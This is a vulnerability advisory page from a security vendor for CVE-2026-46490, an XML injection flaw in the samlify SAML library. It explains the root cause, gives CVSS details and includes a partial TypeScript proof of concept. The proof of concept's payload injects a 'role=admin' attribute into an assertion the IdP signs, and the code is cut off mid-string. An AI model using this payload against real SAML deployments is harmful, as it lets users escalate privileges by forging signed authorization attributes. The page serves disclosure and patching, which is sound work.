Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-46490 — samlify

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-91 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.tsreplaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

```

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

```

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts

```TS

import { readFileSync } from 'fs';

import * as samlify from '../index';

import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {

context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',

attributes: [

{ name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },

{ name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },

],

};

const idp = IdentityProvider({

privateKey: readFileSync('./test/key/idp/privkey.pem'),

privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',

isAssertionEncrypted: false,

metadata: readFileSync('./test/misc/idpmeta.xml'),

loginResponseTemplate,

});

const sp = ServiceProvider({

privateKey: readFileSync('./test/key/sp/privkey.pem'),

privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',

isAssertionEncrypted: false,

metadata: readFileSync('./test/misc/spmeta.xml'),

});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {

const now = new Date();

const fiveMinutesLater = new Date(now.getTime() + 300_000);

const tvalue = {

ID: _idp.entitySetting.generateID(),

AssertionID: _idp.entitySetting.generateID(),

Destination: _sp.entityMeta.getAssertionConsumerService('post'),

Audience: _sp.entityMeta.getEntityID(),

SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),

NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',

NameID: user.email,

Issuer: _idp.entityMeta.getEntityID(),

IssueInstant: now.toISOString(),

ConditionsNotBefore: now.toISOString(),

ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),

SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),

InResponseTo: 'request-id',

StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',

attrUserEmail: user.email,

attrUserInjection: user.injection,

};

return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };

};

async function main() {

const injection = [

'safe',

'</saml:AttributeValue></saml:Attribute>',

'<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',

'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',

'</saml:Attribute>',

'<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',

'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchem

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-46490 is classified as CWE-91: XML Injection. Untrusted data is inserted into an XML document or query, changing its structure rather than only its content.

Affected software

CVE-2026-46490 is recorded against 1 package.

  • samlify

Timeline and source

Published on 21 May 2026 and last revised on 23 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

samlify has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-91: XML Injection) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
CWE CWE-91
Public Exploit ⚠️ Yes
Source OSV
Published 2026-05-21
Updated 2026-08-20
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
samlify

Exploit Protection

Are you running samlify?

CVE-2026-46490 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-46490 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026